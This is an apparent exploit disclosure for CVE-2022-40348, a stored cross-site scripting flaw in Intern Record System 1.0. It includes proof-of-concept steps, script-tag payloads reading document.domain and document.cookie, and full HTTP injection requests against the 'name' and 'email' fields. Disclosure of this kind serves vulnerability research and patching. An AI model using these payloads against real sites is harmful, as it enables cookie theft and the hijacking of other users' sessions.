CVE-2022-40348: Intern Record System - 'name' and 'email' Cross-site Scripting (Unauthenticated XSS)
Exploit Title: Intern Record System - 'name' and 'email' Cross-site Scripting (Unauthenticated XSS)
Date: 2022-06-09
Exploit Author: Hamdi Sevben
Vendor Homepage: https://code-projects.org/intern-record-system-in-php-with-source-code/
Software Link: https://download-media.code-projects.org/2020/03/Intern_Record_System_In_PHP_With_Source_Code.zip
Version: 1.0
Tested on: Windows 10 Pro + PHP 8.1.6, Apache 2.4.53
CVE: CVE-2022-40348
References:
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-40348
- https://nvd.nist.gov/vuln/detail/CVE-2022-40348
1. Description:
Intern Record System 1.0 allows Stored Cross-site Scripting via parameters 'name' and 'email' in /intern/controller.php Intern Record System is vulnerable to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
2. Proof of Concept:
- Burpsuite request on 'name' or 'email' parameters with payloads on http://localhost/intern/controller.php
- Go to http://localhost/intern/view.php page
- Refresh the page.
- The XSS will be triggered.
- Alert will popup.
3. Example payload:
Payload-1: <script>alert(document.domain)</script>
Payload-2: <script>alert(document.cookie)</script>
4. Burpsuite request on 'name' parameter:
#Injection
POST /intern/controller.php HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Content-Length: 78
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost/intern/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
name=<script>alert(document.domain)</script>&email=&phone=&deptType=3
#Identification Page
GET /intern/view.php HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Referer: http://localhost/intern/controller.php
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
5. Burpsuite request on 'email' parameter:
#Injection
POST /intern/controller.php HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Content-Length: 153
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost/intern/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
name=&email=<script>alert(document.cookie)</script>&phone=&deptType=3
#Identification Page
GET /intern/view.php HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Referer: http://localhost/intern/controller.php
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36